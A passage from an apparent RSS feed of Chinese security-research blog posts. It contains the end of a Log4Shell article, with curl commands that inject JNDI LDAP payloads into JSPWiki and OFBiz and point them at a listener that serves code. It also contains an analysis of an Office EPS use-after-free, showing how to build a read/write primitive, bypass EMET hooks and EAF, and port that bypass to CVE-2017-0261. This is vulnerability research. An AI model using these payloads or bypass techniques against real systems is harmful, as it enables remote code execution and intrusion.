none;"></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">curl -vv <a href="http://localhost:8080/JSPWiki/wiki/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/" target="_blank">http://localhost:8080/JSPWiki/wiki/$%7Bjndi:ldap:$%7B::-/%7D/10.0.0.6:1270/abc%7D/</a><br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>OFBiz<span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm1LYoechlxdcUiaialmMr53b53C418FkeRAyiaUQN8sRVcoTLPuibaYExibp7WwFxK4ZfXaryXeAxoFAs/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">curl --insecure -vv -H <span style="color: #98c379;line-height: 26px;">&#34;Cookie: OFBiz.Visitor=\${jndi:ldap://localhost:1270/abc}&#34;</span> <a href="https://localhost:8443/webtools/control/main" target="_blank">https://localhost:8443/webtools/control/main</a><br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>参考</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html" target="_blank">https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg" target="_blank">https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://lorexxar.cn/2021/12/10/log4j2-jndi/#2-15-0-rc1-%E7%9A%84%E4%BF%AE%E5%A4%8D" target="_blank">https://lorexxar.cn/2021/12/10/log4j2-jndi/#2-15-0-rc1-%E7%9A%84%E4%BF%AE%E5%A4%8D</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://xz.aliyun.com/t/10649#toc-2" target="_blank">https://xz.aliyun.com/t/10649#toc-2</a></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis" target="_blank">https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis</a></p></section><p><br/></p>



<p><a href="2247484501">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7cbc9c80&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247484501%26idx%3D1%26sn%3D05a2d3b88ddfdf553a69f3f8b2ed38a6%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 21 Dec 2021 00:08:00 +0800</pubDate>
    </item>
    <item>
      <title>再探Office EPS漏洞-EMET Bypass分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247484386&amp;idx=1&amp;sn=3a9cee16f921c88a8b64130aa1aee21c</link>
      <description>样本能够完全绕过 EMET，故此深入分析下绕过的原理并改造 CVE-2017-0261 绕过 EMET</description>
      <content:encoded><![CDATA[<p>
原创 <span>Joey</span> <span>2021-11-19 18:02</span> <span style="display: inline-block;"></span>
</p>

<p>样本能够完全绕过 EMET，故此深入分析下绕过的原理并改造 CVE-2017-0261 绕过 EMET</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fc2d0944&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIrxGg9C6eOP1HrH22wKGQCvhTQCUSRkqdw0rwIslMh2sc0SHuRkeTAA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" data-mpa-powered-by="yiban.io"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>前言</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">该漏洞和上次分析的 CVE-2017-0261 为同一类型，同样是 EPS 文件解析产生的 UAF 漏洞，因此在分析时就不再讲解 EPS 的语法和相关结构了。分析该漏洞是因为样本能够完全绕过 EMET，故此深入分析下绕过的原理并改造 CVE-2017-0261 绕过 EMET。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>调试环境<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">调试是直接在 Office2007 上进行调试，调试环境如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWmwXiaFAx3HiatJAOeibb4ZJYZs3RCryG71iad2keRJ2NlOITfibRIJ7LvouOEAgkYzDl3aaibHIl3Fv3xe/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">OS:            Win7 x64 SP1<br/>Office:        Ofiice 2007 x86<br/>Image name:    EPSIMP32.FLT<br/>ImageSize:     0x0006E000<br/>File version:  2006.1200.4518.1014<br/>样本<span style="color: #e6c07b;line-height: 26px;">hash</span>：     375e51a989525cfec8296faaffdefa35<br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>漏洞分析</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>漏洞成因<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在分析之前说明下 dict 对象的结构：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5808333333333333" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1200" src="https://wechat2rss.xlab.app/img-proxy/?k=23120980&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIDGrk8TofUY96s02DZa2tSfAEIsXYwgk7WPgddW7xmIGN7avDib6MQqw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">查看 eps 文件，漏洞触发代码如图所示：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.607621009268795" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="971" src="https://wechat2rss.xlab.app/img-proxy/?k=f53cf0ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIia1tBEOlDUbricevSVnolpk8GicUr2t3BrMlqjXLtspmGpbj5tPcHWHicw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">forall 操作符遍历 dict 对象，在执行过程中使用 copy 将一个新的 dict 对象拷贝到正在遍历的 dict 对象中，此时原本的 dict 对象将会被释放。接着通过构造特殊结构的字符串对象，覆盖被释放的 dict 对象的结构，导致在第二次遍历 dict 的对象时去获取了构造好的字符串对象，这样便产生了一个有限大小的读写原语。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在 windbg 中定位到 forall 操作符的代码，查看此时操作栈的对象可以发现 xx_41 为遍历的对象：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4600389863547758" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="513" src="https://wechat2rss.xlab.app/img-proxy/?k=64b02c86&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIgK6UcbaHK1UamibwytKkbRJf4S1ziczhpOsxP1CLxX0LTTAiariaFWR8jQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着定位到 copy 操作符所在位置，查看此时操作栈的情况可以得知 xx_41 将会被 xx_18467 覆盖：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5271629778672032" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="497" src="https://wechat2rss.xlab.app/img-proxy/?k=d026e388&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIoS9iciauHtSoA8dUpX9frI7HtERW7sUd0pb3aYRXwK9nqoNcGROsHWBg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">继续深入分析，到图中所示执行操作符 delete 位置时，查看参数：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.19815668202764977" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1302" src="https://wechat2rss.xlab.app/img-proxy/?k=b7f9f4ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIhtHt65UAicatbuko96RYrXHM0fz6NhFlARMNK3b6qwLV3B3hctdRaQQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">经过分析可以发现 eax 的值正是 xx_41 中的 keyZ1:</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5103857566765578" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="674" src="https://wechat2rss.xlab.app/img-proxy/?k=fb374679&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIiczuu6pR7huAicHWTmibBr3aOpTIgAryiaZ6ibbQksfRStrJLqF0n6gtJDQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">查看 keyZ1，正是 Dict_Object 对象，里面储存的为 0x1000 大小的 array 对象：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.1343612334801762" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="454" src="https://wechat2rss.xlab.app/img-proxy/?k=62c89c44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIGtib99tvlQj39hiclKXLZfcRNzZuPMqaCatEON7b93Tjr9QsGibDnNSVQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当执行完 delete 后，keyZ1 所占有的内存被释放，随后一直循环 delete 直到整个 xx_41 的内容全部被释放。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">执行完 copy 后，查看操作栈中发现 xx_41 的内容已经变成 xx_18467：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8090349075975359" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="487" src="https://wechat2rss.xlab.app/img-proxy/?k=31bc7808&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIeP7MRApcflkJ67bTmaEx3ibwz2msNmx7Y2HTTuiawxdcyFWrxpwM5wHA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当执行到 putinterval 时，可以看到由于创建的字符串大小为 35(0x23)，实际会分配 0x24 大小的结构用于存储字符串，而该大小正是 dict 对象结构的大小。因此当 keyZ2 被释放后，此时再次创建一个 0x24 大小的字符串将会占用 keyZ2 的内存空间：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.1669266770670827" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1282" src="https://wechat2rss.xlab.app/img-proxy/?k=b49959d6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIymcO63hlrdvD4ibmA3ItgARGEHqgATz3PtaCv79FCxVh6vJ4ggtMdgg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">forall 第二次要取的值仍为原来的 keyZ2，但此时 keyZ2 指向的内存已经被故意构造的字符串占用，导致了 UAF：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.12725225225225226" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="888" src="https://wechat2rss.xlab.app/img-proxy/?k=240685ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIfOMyZ9qalbbGuibQDKra6gh5RPZl44jVMILZQnxqZLbqFqDwNcDDGPA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当 forall 执行第二遍时，此时将把故意构造的字符串当作 dict 对象获取到操作栈中，key 和 value 会被压入栈中：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.20042643923240938" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="469" src="https://wechat2rss.xlab.app/img-proxy/?k=757dfe3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAITveA9b1XYC1YFdviaHInjoiauYwQpOicGOgcL4yBEVic0EY5LzGORvJUOw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最终 xx_26500 获取了字符串，xx_19169 获取了整数，从 xx_26500 的结构可以看出构造了一个大小为 0x2710 的读写原语：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.10344827586206896" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="522" src="https://wechat2rss.xlab.app/img-proxy/?k=6faae720&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIFLe2HwtcvzkS4hspfuZs1nnUceggmpekVeicecJ1tqVq1ibQWqnwJyLw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">漏洞原理部分分析完毕。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>漏洞利用</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>构造读写原语<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接下来参考上次分析的 CVE-2017-0261 的漏洞利用部分，尝试在了解漏洞原理的基础上自己构造读写原语，构造思路如下：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">利用获取到的 0x2710 大小的 xx_26500 字符串对象构造指向 string 结构的 0x30 结构和 0x28 的 string 结构</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">获取 0x30 结构和 0x28 结构的首地址，并使用两个地址指向首地址</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">将构造好的读写原语的首地址放置在任意一个 string 对象的 value2</section></li></ol><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">构造字符串结构很容易，但是要能获取到结构所在地址。因此在结构的位置上选取了 xx_26500 字符串中 0xfc 的位置，该位置存储的内容为指向后四个字节的地址可以准确的定位，因此将该值作为 stringbase：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4527272727272727" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="550" src="https://wechat2rss.xlab.app/img-proxy/?k=719cf783&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAI7DBZZzm0EqdrN3vrR38Dx1gQeWLdh2icAbSdxibic355Ioez3cwNRIktQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">接着开始构造指向 string 结构的 0x30 结构和 0x28 的 string 结构，通过 putinterval 操作符将构造好的结构放入 stringbase+0xc 的位置：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8350253807106599" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=8c3d574d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIxvotLTLUkyib8zTfKd5Ry1h5bsjIFsKj9dnUaL8bExgGoBKHiaS2vE2Q%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">将 0x30 结构的首地址放入 stringbase 中，0x28 结构的首地址放入 stringbase+4 中，将 stringbase+4 的地址放入 0x28 结构的首地址 0x24 中，这样 0x30 结构就指向了 0x28 结构。具体的 eps 代码和结构如下图所示：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6761177753544165" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="917" src="https://wechat2rss.xlab.app/img-proxy/?k=c2a01204&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAI7RgsdviaU7gX279hRpQgB1XgVFN5PA7YZnclyQNxgvUXzmdNH8Kqr2Q%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">构造好读写原语的相关结构后，就需要把结构首地址放置在任意一个 string 对象的 value2 后，这一步打算重复漏洞触发的过程，将构造好的读写原语的 PostScript 结构字符串覆盖原本正常的 dict 结构，最终获得了一个能够读写任意内存的读写原语：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6834170854271356" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="995" src="https://wechat2rss.xlab.app/img-proxy/?k=688d4c5f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIiaC4TaMTf5qG65PNvsQQZcA3IibWbDxQdFtYiaLbceIAVpgYiafYHPToqg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>EMET Bypass 分析<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">样本在构造 ROP 这里开始 Bypass EMET，不像一般的 ROP 直接调用 VirtualProtect 来修改内存属性，而是调用 ZwProtectVirtualMemory。但是 EMET 对 ZwProtectVirtualMemory 进行 hook，因此不能直接调用。样本获取到 ZwProtectVirtualMemory 的地址后会往后遍历，当遍历到 retn 后计数加一，直到遍历到没有被 hook 的函数后获取该函数的调用号，将调用号减去 retn 计数就得到了 ZwProtectVirtualMemory 原本的调用号：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.48671726755218214" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1054" src="https://wechat2rss.xlab.app/img-proxy/?k=55460132&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIz8buKrSDZmbEEZR5tTjeUnRACzTHHM0aCicXcyzHAUAhiaibFkgQLYseQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过 ROP 将调用号赋值给 eax，之后再通过调用未被 hook 的 ZwCreateEvent 函数的后 5 个字节直接调用 ZwProtectVirtualMemory 修改 shellcode 的内存：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.09345794392523364" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1070" src="https://wechat2rss.xlab.app/img-proxy/?k=fee92fdd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAIOOOnUbzVQhicQT9E6Wx2XfOhI3cVDelzZYckZdJNiaB9Tnswjm94AgxA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以看到此时 ZwProtectVirtualMemory 是被 hook 的，而通过这种方式则完美绕过了 hook：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.2240566037735849" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="424" src="https://wechat2rss.xlab.app/img-proxy/?k=0171bfad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAI04KnWHv8UmtLBXUJgoxC3onS71icnZALULB4mVCD8hAvDX0W8ESpicaA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然而只绕过 hook 是不够的，需要 shellcode 绕过 EAF，样本通过 fs:[0]获取 SEH 链拿到 msvcrt.dll 的句柄，随后通过回退搜索 MZ 头寻找 msvcrt.dll 的基地址。通过 msvcrt.dll 的导入表获取函数地址并最终将 shellcode 后的 PE 文件写入到本地文件中并启动：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6593059936908517" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="634" src="https://wechat2rss.xlab.app/img-proxy/?k=64ff534c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAI0tYslPvnxTozyvLcV4dlOwJteQ5y719mW0oqiactfWrXcV3UzTvSvxA%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>利用手法移植<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在了解了样本的绕过思路后，在 CVE-2017-0261 上尝试绕过 EMET。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">首先将原本获取 VirtualProtect 的地址改为获取 NtProtectVirtualMemory 和 NtCreateEvent：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.0862708719851577" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1078" src="https://wechat2rss.xlab.app/img-proxy/?k=9c902894&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6iaibTXqvSfAEG4eTDBn4cAI9OOAh0QELXlMDqjChBhwButj4I9ztMHhhs2kdqqQWQTL9su6nLxdSw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">随后修改 ROP 链直接通过 ZwProtectVirtualMemory 的调用号调用 ZwCreateEvent+0x5 的位置修改内存属性，成功绕过了 EMET：</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.13528481012658228" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1264" 